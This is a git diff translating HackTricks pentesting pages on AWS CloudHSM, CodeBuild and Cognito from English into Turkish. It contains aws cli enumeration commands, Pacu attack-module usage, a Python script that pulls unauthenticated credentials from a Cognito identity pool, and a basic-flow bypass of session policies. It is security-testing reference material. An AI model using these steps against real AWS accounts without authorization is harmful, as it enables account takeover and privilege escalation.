Maliyetler, şifreleme çözümlerinde ikincil bir faktör olarak düşünülmelidir. Şifreleme genellikle güvenlik ve uyumluluk için kullanılır. -**With CloudHSM only you have access to the keys** and without going into too much detail, with CloudHSM you manage your own keys. **With KMS, you and Amazon co-manage your keys**. AWS does have many policy safeguards against abuse and **still cannot access your keys in either solution**. The main distinction is compliance as it pertains to key ownership and management, and with CloudHSM, this is a hardware appliance that you manage and maintain with exclusive access to you and only you. +**CloudHSM ile yalnızca siz anahtarlara erişim sağlarsınız** ve fazla detaya girmeden, CloudHSM ile kendi anahtarlarınızı yönetirsiniz. **KMS ile, anahtarlarınızı siz ve Amazon birlikte yönetirsiniz**. AWS, kötüye kullanıma karşı birçok politika korumasına sahiptir ve **her iki çözümde de anahtarlarınıza erişemez**. Anahtar sahipliği ve yönetimi ile ilgili uyumluluk açısından ana ayrım, CloudHSM'nin sizin ve yalnızca sizin erişiminizle yönettiğiniz bir donanım cihazı olmasıdır. -### CloudHSM Suggestions +### CloudHSM Önerileri -1. Always deploy CloudHSM in an **HA setup** with at least two appliances in **separate availability zones**, and if possible, deploy a third either on premise or in another region at AWS. -2. Be careful when **initializing** a **CloudHSM**. This action **will destroy the keys**, so either have another copy of the keys or be absolutely sure you do not and never, ever will need these keys to decrypt any data. -3. CloudHSM only **supports certain versions of firmware** and software. Before performing any update, make sure the firmware and or software is supported by AWS. You can always contact AWS support to verify if the upgrade guide is unclear. -4. The **network configuration should never be changed.** Remember, it's in a AWS data center and AWS is monitoring base hardware for you. This means that if the hardware fails, they will replace it for you, but only if they know it failed. -5. The **SysLog forward should not be removed or changed**. You can always **add** a SysLog forwarder to direct the logs to your own collection tool. -6. The **SNMP** configuration has the same basic restrictions as the network and SysLog folder. This **should not be changed or removed**. An **additional** SNMP configuration is fine, just make sure you do not change the one that is already on the appliance. -7. Another interesting best practice from AWS is **not to change the NTP configuration**. It is not clear what would happen if you did, so keep in mind that if you don't use the same NTP configuration for the rest of your solution then you could have two time sources. Just be aware of this and know that the CloudHSM has to stay with the existing NTP source. +1. Her zaman CloudHSM'yi en az iki cihazla **HA yapılandırmasında** dağıtın ve mümkünse, AWS'de başka bir bölgede ya da yerel olarak üçüncü bir cihaz dağıtın. +2. **CloudHSM'yi başlatırken** dikkatli olun. Bu işlem **anahtarları yok edecektir**, bu nedenle ya anahtarların başka bir kopyasına sahip olun ya da bu anahtarları herhangi bir veriyi şifrelemek için asla, asla kullanmayacağınızdan kesinlikle emin olun. +3. CloudHSM yalnızca **belirli yazılım sürümlerini** ve yazılımları destekler. Herhangi bir güncelleme yapmadan önce, yazılımın ve/veya yazılımın AWS tarafından desteklendiğinden emin olun. Güncelleme kılavuzu belirsizse her zaman AWS desteği ile iletişime geçebilirsiniz. +4. **Ağ yapılandırması asla değiştirilmemelidir.** Unutmayın, bu bir AWS veri merkezindedir ve AWS, temel donanımı sizin için izlemektedir. Bu, donanım arızalanırsa, sizin için değiştirecekleri anlamına gelir, ancak yalnızca arızalandığını bilirlerse. +5. **SysLog yönlendirmesi kaldırılmamalı veya değiştirilmemelidir.** Her zaman **SysLog yönlendiricisi ekleyebilir** ve günlükleri kendi toplama aracınıza yönlendirebilirsiniz. +6. **SNMP** yapılandırması, ağ ve SysLog klasörü ile aynı temel kısıtlamalara sahiptir. Bu **değiştirilmemeli veya kaldırılmamalıdır**. Ek bir SNMP yapılandırması uygundur, yalnızca cihazda zaten bulunanı değiştirmediğinizden emin olun. +7. AWS'den başka bir ilginç en iyi uygulama, **NTP yapılandırmasını değiştirmemektir**. Ne olacağı belirsizdir, bu nedenle çözümünüzün geri kalanında aynı NTP yapılandırmasını kullanmazsanız iki zaman kaynağına sahip olabileceğinizi unutmayın. Bunu aklınızda bulundurun ve CloudHSM'nin mevcut NTP kaynağı ile kalması gerektiğini bilin. -The initial launch charge for CloudHSM is $5,000 to allocate the hardware appliance dedicated for your use, then there is an hourly charge associated with running CloudHSM that is currently at $1.88 per hour of operation, or approximately $1,373 per month. +CloudHSM için başlangıçta donanım cihazını tahsis etmek için 5,000 $ ücret alınır, ardından CloudHSM'yi çalıştırmak için saatlik bir ücret vardır ve bu şu anda saatte 1.88 $ veya ayda yaklaşık 1,373 $'dır. -The most common reason to use CloudHSM is compliance standards that you must meet for regulatory reasons. **KMS does not offer data support for asymmetric keys. CloudHSM does let you store asymmetric keys securely**. +CloudHSM'yi kullanmanın en yaygın nedeni, uyum standartlarıdır ve bunları düzenleyici nedenlerle karşılamanız gerekir. **KMS, asimetrik anahtarlar için veri desteği sunmaz. CloudHSM, asimetrik anahtarları güvenli bir şekilde depolamanıza izin verir.** -The **public key is installed on the HSM appliance during provisioning** so you can access the CloudHSM instance via SSH. +**Açık anahtar, CloudHSM örneği sağlanırken HSM cihazına yüklenir** böylece CloudHSM örneğine SSH ile erişebilirsiniz. -### What is a Hardware Security Module +### Donanım Güvenlik Modülü Nedir -A hardware security module (HSM) is a dedicated cryptographic device that is used to generate, store, and manage cryptographic keys and protect sensitive data. It is designed to provide a high level of security by physically and electronically isolating the cryptographic functions from the rest of the system. +Donanım güvenlik modülü (HSM), kriptografik anahtarları oluşturmak, depolamak ve yönetmek ve hassas verileri korumak için kullanılan özel bir kriptografik cihazdır. Kriptografik işlevleri sistemin geri kalanından fiziksel ve elektronik olarak izole ederek yüksek düzeyde güvenlik sağlaması için tasarlanmıştır. -The way an HSM works can vary depending on the specific model and manufacturer, but generally, the following steps occur: +Bir HSM'nin çalışma şekli, belirli model ve üreticiye bağlı olarak değişebilir, ancak genel olarak aşağıdaki adımlar gerçekleşir: -1. **Key generation**: The HSM generates a random cryptographic key using a secure random number generator. -2. **Key storage**: The key is **stored securely within the HSM, where it can only be accessed by authorized users or processes**. -3. **Key management**: The HSM provides a range of key management functions, including key rotation, backup, and revocation. -4. **Cryptographic operations**: The HSM performs a range of cryptographic operations, including encryption, decryption, digital signature, and key exchange. These operations are **performed within the secure environment of the HSM**, which protects against unauthorized access and tampering. -5. **Audit logging**: The HSM logs all cryptographic operations and access attempts, which can be used for compliance and security auditing purposes. +1. **Anahtar oluşturma**: HSM, güvenli bir rastgele sayı üreteci kullanarak rastgele bir kriptografik anahtar oluşturur. +2. **Anahtar depolama**: Anahtar, **yalnızca yetkili kullanıcılar veya süreçler tarafından erişilebilen HSM içinde güvenli bir şekilde depolanır**. +3. **Anahtar yönetimi**: HSM, anahtar döngüsü, yedekleme ve iptal gibi bir dizi anahtar yönetim işlevi sağlar. +4. **Kriptografik işlemler**: HSM, şifreleme, şifre çözme, dijital imza ve anahtar değişimi gibi bir dizi kriptografik işlem gerçekleştirir. Bu işlemler, **HSM'nin güvenli ortamında gerçekleştirilir**, bu da yetkisiz erişim ve müdahaleye karşı koruma sağlar. +5. **Denetim kaydı**: HSM, tüm kriptografik işlemleri ve erişim girişimlerini kaydeder, bu da uyum ve güvenlik denetimi amaçları için kullanılabilir. -HSMs can be used for a wide range of applications, including secure online transactions, digital certificates, secure communications, and data encryption. They are often used in industries that require a high level of security, such as finance, healthcare, and government. +HSM'ler, güvenli çevrimiçi işlemler, dijital sertifikalar, güvenli iletişim ve veri şifreleme gibi çok çeşitli uygulamalar için kullanılabilir. Genellikle finans, sağlık ve hükümet gibi yüksek güvenlik gerektiren endüstrilerde kullanılır. -Overall, the high level of security provided by HSMs makes it **very difficult to extract raw keys from them, and attempting to do so is often considered a breach of security**. However, there may be **certain scenarios** where a **raw key could be extracted** by authorized personnel for specific purposes, such as in the case of a key recovery procedure. - -### Enumeration +Genel olarak, HSM'lerin sağladığı yüksek güvenlik seviyesi, **ham anahtarların onlardan çıkarılmasını çok zor hale getirir ve bunu denemek genellikle bir güvenlik ihlali olarak kabul edilir**. Ancak, belirli **senaryolar** altında, **ham bir anahtarın** belirli amaçlar için yetkili personel tarafından çıkarılması mümkün olabilir, örneğin bir anahtar kurtarma prosedürü durumunda. +### Sayım ``` TODO ``` - {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-codebuild-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-codebuild-enum.md index bd54cd791..ccd407eb5 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-codebuild-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-codebuild-enum.md @@ -4,30 +4,29 @@ ## CodeBuild -AWS **CodeBuild** is recognized as a **fully managed continuous integration service**. The primary purpose of this service is to automate the sequence of compiling source code, executing tests, and packaging the software for deployment purposes. The predominant benefit offered by CodeBuild lies in its ability to alleviate the need for users to provision, manage, and scale their build servers. This convenience is because the service itself manages these tasks. Essential features of AWS CodeBuild encompass: +AWS **CodeBuild**, **tam yönetilen sürekli entegrasyon hizmeti** olarak tanınmaktadır. Bu hizmetin temel amacı, kaynak kodunu derleme, testleri yürütme ve yazılımı dağıtım amaçları için paketleme sürecini otomatikleştirmektir. CodeBuild'in sunduğu en önemli avantaj, kullanıcıların kendi derleme sunucularını sağlama, yönetme ve ölçeklendirme gereksinimini ortadan kaldırma yeteneğidir. Bu kolaylık, hizmetin kendisinin bu görevleri yönetmesindendir. AWS CodeBuild'in temel özellikleri şunlardır: -1. **Managed Service**: CodeBuild manages and scales the build servers, freeing users from server maintenance. -2. **Continuous Integration**: It integrates with the development and deployment workflow, automating the build and test phases of the software release process. -3. **Package Production**: After the build and test phases, it prepares the software packages, making them ready for deployment. +1. **Yönetilen Hizmet**: CodeBuild, derleme sunucularını yönetir ve ölçeklendirir, kullanıcıları sunucu bakımından kurtarır. +2. **Sürekli Entegrasyon**: Geliştirme ve dağıtım iş akışıyla entegre olur, yazılım sürüm sürecinin derleme ve test aşamalarını otomatikleştirir. +3. **Paket Üretimi**: Derleme ve test aşamalarından sonra, yazılım paketlerini hazırlar ve dağıtım için hazır hale getirir. -AWS CodeBuild seamlessly integrates with other AWS services, enhancing the CI/CD (Continuous Integration/Continuous Deployment) pipeline's efficiency and reliability. +AWS CodeBuild, diğer AWS hizmetleriyle sorunsuz bir şekilde entegre olur, CI/CD (Sürekli Entegrasyon/Sürekli Dağıtım) hattının verimliliğini ve güvenilirliğini artırır. -### **Github/Gitlab/Bitbucket Credentials** +### **Github/Gitlab/Bitbucket Kimlik Bilgileri** -#### **Default source credentials** +#### **Varsayılan kaynak kimlik bilgileri** -This is the legacy option where it's possible to configure some **access** (like a Github token or app) that will be **shared across codebuild projects** so all the projects can use this configured set of credentials. +Bu, bazı **erişimlerin** (bir Github token'ı veya uygulaması gibi) yapılandırılabileceği eski bir seçenektir ve bu erişimler **codebuild projeleri arasında paylaşılabilir**, böylece tüm projeler bu yapılandırılmış kimlik bilgilerini kullanabilir. -The stored credentials (tokens, passwords...) are **managed by codebuild** and there isn't any public way to retrieve them from AWS APIs. +Saklanan kimlik bilgileri (token'lar, şifreler...) **codebuild tarafından yönetilmektedir** ve bunları AWS API'lerinden almak için herhangi bir kamuya açık yol yoktur. -#### Custom source credential +#### Özel kaynak kimlik bilgisi -Depending on the repository platform (Github, Gitlab and Bitbucket) different options are provided. But in general, any option that requires to **store a token or a password will store it as a secret in the secrets manager**. +Depo platformuna (Github, Gitlab ve Bitbucket) bağlı olarak farklı seçenekler sunulmaktadır. Ancak genel olarak, **bir token veya şifre saklamayı gerektiren herhangi bir seçenek, bunu gizli bir şekilde saklayacaktır**. -This allows **different codebuild projects to use different configured accesses** to the providers instead of just using the configured default one. +Bu, **farklı codebuild projelerinin, yalnızca yapılandırılmış varsayılan olanı kullanmak yerine, sağlayıcılara farklı yapılandırılmış erişimler kullanmasına olanak tanır**. ### Enumeration - ```bash # List external repo creds (such as github tokens) ## It doesn't return the token but just the ARN where it's located @@ -48,10 +47,9 @@ aws codebuild list-build-batches-for-project --project-name aws codebuild list-reports aws codebuild describe-test-cases --report-arn ``` - ### Privesc -In the following page, you can check how to **abuse codebuild permissions to escalate privileges**: +Aşağıdaki sayfada, **yetkileri artırmak için codebuild izinlerini nasıl kötüye kullanacağınızı** kontrol edebilirsiniz: {{#ref}} ../aws-privilege-escalation/aws-codebuild-privesc.md @@ -74,7 +72,3 @@ In the following page, you can check how to **abuse codebuild permissions to esc - [https://docs.aws.amazon.com/managedservices/latest/userguide/code-build.html](https://docs.aws.amazon.com/managedservices/latest/userguide/code-build.html) {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-cognito-enum/README.md b/src/pentesting-cloud/aws-security/aws-services/aws-cognito-enum/README.md index c870c1791..7f9f91480 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-cognito-enum/README.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-cognito-enum/README.md @@ -4,31 +4,30 @@ ## Cognito -Amazon Cognito is utilized for **authentication, authorization, and user management** in web and mobile applications. It allows users the flexibility to sign in either directly using a **user name and password** or indirectly through a **third party**, including Facebook, Amazon, Google, or Apple. +Amazon Cognito, web ve mobil uygulamalarda **kimlik doğrulama, yetkilendirme ve kullanıcı yönetimi** için kullanılır. Kullanıcılara, doğrudan **kullanıcı adı ve şifre** kullanarak veya Facebook, Amazon, Google veya Apple gibi bir **üçüncü taraf** aracılığıyla oturum açma esnekliği sağlar. -Central to Amazon Cognito are two primary components: +Amazon Cognito'nun merkezinde iki ana bileşen bulunmaktadır: -1. **User Pools**: These are directories designed for your app users, offering **sign-up and sign-in functionalities**. -2. **Identity Pools**: These pools are instrumental in **authorizing users to access different AWS services**. They are not directly involved in the sign-in or sign-up process but are crucial for resource access post-authentication. +1. **Kullanıcı Havuzları**: Bu, uygulama kullanıcılarınız için tasarlanmış dizinlerdir ve **kayıt olma ve oturum açma işlevselliği** sunar. +2. **Kimlik Havuzları**: Bu havuzlar, **kullanıcıların farklı AWS hizmetlerine erişimini yetkilendirmede** önemlidir. Oturum açma veya kayıt olma sürecine doğrudan dahil değildirler, ancak kimlik doğrulama sonrası kaynak erişimi için kritik öneme sahiptirler. -### **User pools** +### **Kullanıcı havuzları** -To learn what is a **Cognito User Pool check**: +Bir **Cognito Kullanıcı Havuzu kontrolü** öğrenmek için: {{#ref}} cognito-user-pools.md {{#endref}} -### **Identity pools** +### **Kimlik havuzları** -The learn what is a **Cognito Identity Pool check**: +Bir **Cognito Kimlik Havuzu kontrolü** öğrenmek için: {{#ref}} cognito-identity-pools.md {{#endref}} ## Enumeration - ```bash # List Identity Pools aws cognito-identity list-identity-pools --max-results 60 @@ -72,35 +71,30 @@ aws cognito-idp get-user-pool-mfa-config --user-pool-id ## Get risk configuration aws cognito-idp describe-risk-configuration --user-pool-id ``` +### Kimlik Havuzları - Kimlik Doğrulaması Olmayan Sayım -### Identity Pools - Unauthenticated Enumeration +Sadece **Kimlik Havuzu ID'sini bilerek**, **kimlik doğrulaması olmayan** kullanıcılarla ilişkili rolün **kimlik bilgilerini alabilirsiniz** (varsa). [**Buradan nasıl yapılacağını kontrol edin**](cognito-identity-pools.md#accessing-iam-roles). -Just **knowing the Identity Pool ID** you might be able **get credentials of the role associated to unauthenticated** users (if any). [**Check how here**](cognito-identity-pools.md#accessing-iam-roles). +### Kullanıcı Havuzları - Kimlik Doğrulaması Olmayan Sayım -### User Pools - Unauthenticated Enumeration +Cognito içinde **geçerli bir kullanıcı adını** bilmiyorsanız bile, **geçerli** **kullanıcı adlarını** **sayabilir**, **şifreleri** **kaba kuvvet** ile deneyebilir veya sadece **Uygulama istemci ID'sini** bilerek **yeni bir kullanıcı kaydedebilirsiniz** (genellikle kaynak kodunda bulunur). [**Buradan nasıl yapılacağını kontrol edin**](cognito-user-pools.md#registration)**.** -Even if you **don't know a valid username** inside Cognito, you might be able to **enumerate** valid **usernames**, **BF** the **passwords** of even **register a new user** just **knowing the App client ID** (which is usually found in source code). [**Check how here**](cognito-user-pools.md#registration)**.** - -## Privesc +## Yetki Yükseltme {{#ref}} ../../aws-privilege-escalation/aws-cognito-privesc.md {{#endref}} -## Unauthenticated Access +## Kimlik Doğrulaması Olmayan Erişim {{#ref}} ../../aws-unauthenticated-enum-access/aws-cognito-unauthenticated-enum.md {{#endref}} -## Persistence +## Süreklilik {{#ref}} ../../aws-persistence/aws-cognito-persistence.md {{#endref}} {{#include ../../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-cognito-enum/cognito-identity-pools.md b/src/pentesting-cloud/aws-security/aws-services/aws-cognito-enum/cognito-identity-pools.md index 024c7ea91..e27b85657 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-cognito-enum/cognito-identity-pools.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-cognito-enum/cognito-identity-pools.md @@ -2,16 +2,15 @@ {{#include ../../../../banners/hacktricks-training.md}} -## Basic Information +## Temel Bilgiler -Identity pools serve a crucial role by enabling your users to **acquire temporary credentials**. These credentials are essential for accessing various AWS services, including but not limited to Amazon S3 and DynamoDB. A notable feature of identity pools is their support for both anonymous guest users and a range of identity providers for user authentication. The supported identity providers include: - -- Amazon Cognito user pools -- Social sign-in options such as Facebook, Google, Login with Amazon, and Sign in with Apple -- Providers compliant with OpenID Connect (OIDC) -- SAML (Security Assertion Markup Language) identity providers -- Developer authenticated identities +Kimlik havuzları, kullanıcılarınızın **geçici kimlik bilgileri** edinmesini sağlayarak önemli bir rol oynar. Bu kimlik bilgileri, Amazon S3 ve DynamoDB dahil ancak bunlarla sınırlı olmamak üzere çeşitli AWS hizmetlerine erişim için gereklidir. Kimlik havuzlarının dikkat çekici bir özelliği, hem anonim misafir kullanıcıları hem de kullanıcı kimlik doğrulaması için çeşitli kimlik sağlayıcılarını desteklemeleridir. Desteklenen kimlik sağlayıcıları şunlardır: +- Amazon Cognito kullanıcı havuzları +- Facebook, Google, Amazon ile Giriş ve Apple ile Giriş gibi sosyal oturum açma seçenekleri +- OpenID Connect (OIDC) ile uyumlu sağlayıcılar +- SAML (Güvenlik İddiası İşaretleme Dili) kimlik sağlayıcıları +- Geliştirici tarafından kimlik doğrulanan kimlikler ```python # Sample code to demonstrate how to integrate an identity provider with an identity pool can be structured as follows: import boto3 @@ -24,74 +23,64 @@ identity_pool_id = 'your-identity-pool-id' # Add an identity provider to the identity pool response = client.set_identity_pool_roles( - IdentityPoolId=identity_pool_id, - Roles={ - 'authenticated': 'arn:aws:iam::AWS_ACCOUNT_ID:role/AuthenticatedRole', - 'unauthenticated': 'arn:aws:iam::AWS_ACCOUNT_ID:role/UnauthenticatedRole', - } +IdentityPoolId=identity_pool_id, +Roles={ +'authenticated': 'arn:aws:iam::AWS_ACCOUNT_ID:role/AuthenticatedRole', +'unauthenticated': 'arn:aws:iam::AWS_ACCOUNT_ID:role/UnauthenticatedRole', +} ) # Print the response from AWS print(response) ``` - ### Cognito Sync -To generate Identity Pool sessions, you first need to **generate and Identity ID**. This Identity ID is the **identification of the session of that user**. These identifications can have up to 20 datasets that can store up to 1MB of key-value pairs. +Kimlik Havuzu oturumları oluşturmak için önce **bir Kimlik ID'si oluşturmanız** gerekir. Bu Kimlik ID'si, **o kullanıcının oturumunun tanımlayıcısıdır**. Bu tanımlayıcılar, 1MB'a kadar anahtar-değer çiftleri depolayabilen 20 veri kümesine kadar sahip olabilir. -This is **useful to keep information of a user** (who will be always using the same Identity ID). +Bu, **bir kullanıcının bilgilerini saklamak için faydalıdır** (her zaman aynı Kimlik ID'sini kullanacak olan). -Moreover, the service **cognito-sync** is the service that allow to **manage and syncronize this information** (in the datasets, sending info in streams and SNSs msgs...). +Ayrıca, **cognito-sync** servisi, **bu bilgileri yönetmek ve senkronize etmek için** hizmettir (veri kümelerinde, akışlarda ve SNS mesajlarında bilgi göndererek...). -### Tools for pentesting +### Pentesting için Araçlar -- [Pacu](https://github.com/RhinoSecurityLabs/pacu), the AWS exploitation framework, now includes the "cognito\_\_enum" and "cognito\_\_attack" modules that automate enumeration of all Cognito assets in an account and flag weak configurations, user attributes used for access control, etc., and also automate user creation (including MFA support) and privilege escalation based on modifiable custom attributes, usable identity pool credentials, assumable roles in id tokens, etc. +- [Pacu](https://github.com/RhinoSecurityLabs/pacu), AWS istismar çerçevesi, artık bir hesapta tüm Cognito varlıklarının sayımını otomatikleştiren ve zayıf yapılandırmaları, erişim kontrolü için kullanılan kullanıcı niteliklerini vb. işaret eden "cognito\_\_enum" ve "cognito\_\_attack" modüllerini içermektedir. Ayrıca, kullanıcı oluşturmayı (MFA desteği dahil) ve değiştirilebilir özel niteliklere, kullanılabilir kimlik havuzu kimlik bilgilerine, id token'larındaki üstlenilebilir rollere dayalı ayrıcalık yükseltmeyi otomatikleştirir. -For a description of the modules' functions see part 2 of the [blog post](https://rhinosecuritylabs.com/aws/attacking-aws-cognito-with-pacu-p2). For installation instructions see the main [Pacu](https://github.com/RhinoSecurityLabs/pacu) page. +Modüllerin işlevlerinin açıklaması için [blog yazısının](https://rhinosecuritylabs.com/aws/attacking-aws-cognito-with-pacu-p2) 2. kısmına bakın. Kurulum talimatları için ana [Pacu](https://github.com/RhinoSecurityLabs/pacu) sayfasına bakın. -#### Usage - -Sample cognito\_\_attack usage to attempt user creation and all privesc vectors against a given identity pool and user pool client: +#### Kullanım +Belirli bir kimlik havuzu ve kullanıcı havuzu istemcisi karşısında kullanıcı oluşturma ve tüm ayrıcalık yükseltme vektörlerini denemek için örnek cognito\_\_attack kullanımı: ```bash Pacu (new:test) > run cognito__attack --username randomuser --email XX+sdfs2@gmail.com --identity_pools us-east-2:a06XXXXX-c9XX-4aXX-9a33-9ceXXXXXXXXX --user_pool_clients 59f6tuhfXXXXXXXXXXXXXXXXXX@us-east-2_0aXXXXXXX ``` - -Sample cognito\_\_enum usage to gather all user pools, user pool clients, identity pools, users, etc. visible in the current AWS account: - +Örnek cognito\_\_enum kullanımı, mevcut AWS hesabında görünen tüm kullanıcı havuzlarını, kullanıcı havuzu istemcilerini, kimlik havuzlarını, kullanıcıları vb. toplamak için: ```bash Pacu (new:test) > run cognito__enum ``` +- [Cognito Scanner](https://github.com/padok-team/cognito-scanner) is a CLI aracıdır python'da, istenmeyen hesap oluşturma ve kimlik havuzu yükseltme dahil olmak üzere Cognito üzerinde farklı saldırılar uygular. -- [Cognito Scanner](https://github.com/padok-team/cognito-scanner) is a CLI tool in python that implements different attacks on Cognito including unwanted account creation and identity pool escalation. - -#### Installation - +#### Kurulum ```bash $ pip install cognito-scanner ``` - -#### Usage - +#### Kullanım ```bash $ cognito-scanner --help ``` +Daha fazla bilgi için https://github.com/padok-team/cognito-scanner adresini kontrol edin -For more information check https://github.com/padok-team/cognito-scanner +## IAM Rollere Erişim -## Accessing IAM Roles +### Kimlik Doğrulaması Olmayan -### Unauthenticated - -The only thing an attacker need to know to **get AWS credentials** in a Cognito app as unauthenticated user is the **Identity Pool ID**, and this **ID must be hardcoded** in the web/mobile **application** for it to use it. An ID looks like this: `eu-west-1:098e5341-8364-038d-16de-1865e435da3b` (it's not bruteforceable). +Bir saldırganın, kimlik doğrulaması yapılmamış bir kullanıcı olarak bir Cognito uygulamasında **AWS kimlik bilgilerini almak** için bilmesi gereken tek şey **Identity Pool ID**'dir ve bu **ID, web/mobil** **uygulamada** sabit kodlanmış olmalıdır. Bir ID şu şekilde görünür: `eu-west-1:098e5341-8364-038d-16de-1865e435da3b` (bruteforce edilemez). > [!TIP] -> The **IAM Cognito unathenticated role created via is called** by default `Cognito_Unauth_Role` - -If you find an Identity Pools ID hardcoded and it allows unauthenticated users, you can get AWS credentials with: +> **IAM Cognito kimlik doğrulaması yapılmamış rolü varsayılan olarak** `Cognito_Unauth_Role` olarak adlandırılır. +Eğer sabit kodlanmış bir Identity Pools ID bulursanız ve bu kimlik doğrulaması yapılmamış kullanıcılara izin veriyorsa, AWS kimlik bilgilerini şu şekilde alabilirsiniz: ```python import requests @@ -105,8 +94,8 @@ r = requests.post(url, json=params, headers=headers) json_resp = r.json() if not "IdentityId" in json_resp: - print(f"Not valid id: {id_pool_id}") - exit +print(f"Not valid id: {id_pool_id}") +exit IdentityId = r.json()["IdentityId"] @@ -117,23 +106,19 @@ r = requests.post(url, json=params, headers=headers) print(r.json()) ``` - -Or you could use the following **aws cli commands**: - +Ya da aşağıdaki **aws cli komutlarını** kullanabilirsiniz: ```bash aws cognito-identity get-id --identity-pool-id --no-sign aws cognito-identity get-credentials-for-identity --identity-id --no-sign ``` - > [!WARNING] -> Note that by default an unauthenticated cognito **user CANNOT have any permission, even if it was assigned via a policy**. Check the followin section. +> Varsayılan olarak, kimlik doğrulaması yapılmamış bir cognito **kullanıcısının hiçbir izni OLAMAZ, hatta bir politika aracılığıyla atanmış olsa bile**. Aşağıdaki bölümü kontrol edin. -### Enhanced vs Basic Authentication flow +### Gelişmiş vs Temel Kimlik Doğrulama Akışı -The previous section followed the **default enhanced authentication flow**. This flow sets a **restrictive** [**session policy**](../../aws-basic-information/#session-policies) to the IAM role session generated. This policy will only allow the session to [**use the services from this list**](https://docs.aws.amazon.com/cognito/latest/developerguide/iam-roles.html#access-policies-scope-down-services) (even if the role had access to other services). - -However, there is a way to bypass this, if the **Identity pool has "Basic (Classic) Flow" enabled**, the user will be able to obtain a session using that flow which **won't have that restrictive session policy**. +Önceki bölüm **varsayılan gelişmiş kimlik doğrulama akışını** takip etti. Bu akış, oluşturulan IAM rol oturumu için **kısıtlayıcı** [**oturum politikası**](../../aws-basic-information/#session-policies) belirler. Bu politika, oturumun yalnızca [**bu listedeki hizmetleri kullanmasına**](https://docs.aws.amazon.com/cognito/latest/developerguide/iam-roles.html#access-policies-scope-down-services) izin verecektir (rolün diğer hizmetlere erişimi olsa bile). +Ancak, bunu aşmanın bir yolu vardır; eğer **Kimlik havuzu "Temel (Klasik) Akış" etkinse**, kullanıcı o akışı kullanarak bir oturum alabilecektir ve bu **kısıtlayıcı oturum politikası** olmayacaktır. ```bash # Get auth ID aws cognito-identity get-id --identity-pool-id --no-sign @@ -145,51 +130,46 @@ aws cognito-identity get-open-id-token --identity-id --no-sign ## If you don't know the role_arn use the previous enhanced flow to get it aws sts assume-role-with-web-identity --role-arn "arn:aws:iam:::role/" --role-session-name sessionname --web-identity-token --no-sign ``` - > [!WARNING] -> If you receive this **error**, it's because the **basic flow is not enabled (default)** +> Eğer bu **hata** mesajını alıyorsanız, bunun nedeni **temel akışın etkin olmamasıdır (varsayılan)** > `An error occurred (InvalidParameterException) when calling the GetOpenIdToken operation: Basic (classic) flow is not enabled, please use enhanced flow.` -Having a set of IAM credentials you should check [which access you have](../../#whoami) and try to [escalate privileges](../../aws-privilege-escalation/). +Bir dizi IAM kimlik bilgisine sahip olduğunuzda, [hangi erişime sahip olduğunuzu kontrol etmelisiniz](../../#whoami) ve [yetkileri yükseltmeye çalışmalısınız](../../aws-privilege-escalation/). -### Authenticated +### Kimlik Doğrulanmış > [!NOTE] -> Remember that **authenticated users** will be probably granted **different permissions**, so if you can **sign up inside the app**, try doing that and get the new credentials. +> **Kimlik doğrulanmış kullanıcıların** muhtemelen **farklı izinler** alacağını unutmayın, bu nedenle eğer **uygulama içinde kaydolabiliyorsanız**, bunu deneyin ve yeni kimlik bilgilerini alın. -There could also be **roles** available for **authenticated users accessing the Identity Poo**l. +**Kimlik Havuzuna** erişen **kimlik doğrulanmış kullanıcılar** için de **roller** mevcut olabilir. -For this you might need to have access to the **identity provider**. If that is a **Cognito User Pool**, maybe you can abuse the default behaviour and **create a new user yourself**. +Bunun için **kimlik sağlayıcısına** erişiminiz olması gerekebilir. Eğer bu bir **Cognito Kullanıcı Havuzu** ise, belki varsayılan davranışı kötüye kullanarak **kendiniz yeni bir kullanıcı oluşturabilirsiniz**. > [!TIP] -> The **IAM Cognito athenticated role created via is called** by default `Cognito_Auth_Role` +> **IAM Cognito kimlik doğrulanmış rolü varsayılan olarak** `Cognito_Auth_Role` olarak adlandırılır. -Anyway, the **following example** expects that you have already logged in inside a **Cognito User Pool** used to access the Identity Pool (don't forget that other types of identity providers could also be configured). +Her neyse, **aşağıdaki örnek**, bir **Cognito Kullanıcı Havuzu** içinde oturum açmış olduğunuzu varsayıyor (diğer türdeki kimlik sağlayıcılarının da yapılandırılabileceğini unutmayın).
aws cognito-identity get-id \
-    --identity-pool-id <identity_pool_id> \
-    --logins cognito-idp.<region>.amazonaws.com/<YOUR_USER_POOL_ID>=<ID_TOKEN>
+--identity-pool-id <identity_pool_id> \
+--logins cognito-idp.<region>.amazonaws.com/<YOUR_USER_POOL_ID>=<ID_TOKEN>
 
-# Get the identity_id from the previous commnad response
+# Önceki komut yanıtından identity_id'yi alın
 aws cognito-identity get-credentials-for-identity \
-    --identity-id <identity_id> \
-    --logins cognito-idp.<region>.amazonaws.com/<YOUR_USER_POOL_ID>=<ID_TOKEN>
+--identity-id <identity_id> \
+--logins cognito-idp.<region>.amazonaws.com/<YOUR_USER_POOL_ID>=<ID_TOKEN>
 
 
-# In the IdToken you can find roles a user has access because of User Pool Groups
-# User the --custom-role-arn to get credentials to a specific role
+# IdToken içinde bir kullanıcının erişim sağladığı rolleri bulabilirsiniz çünkü Kullanıcı Havuzu Grupları
+# Belirli bir role erişim sağlamak için --custom-role-arn kullanın
 aws cognito-identity get-credentials-for-identity \
-    --identity-id <identity_id> \
+--identity-id <identity_id> \
     --custom-role-arn <role_arn> \
     --logins cognito-idp.<region>.amazonaws.com/<YOUR_USER_POOL_ID>=<ID_TOKEN>
 
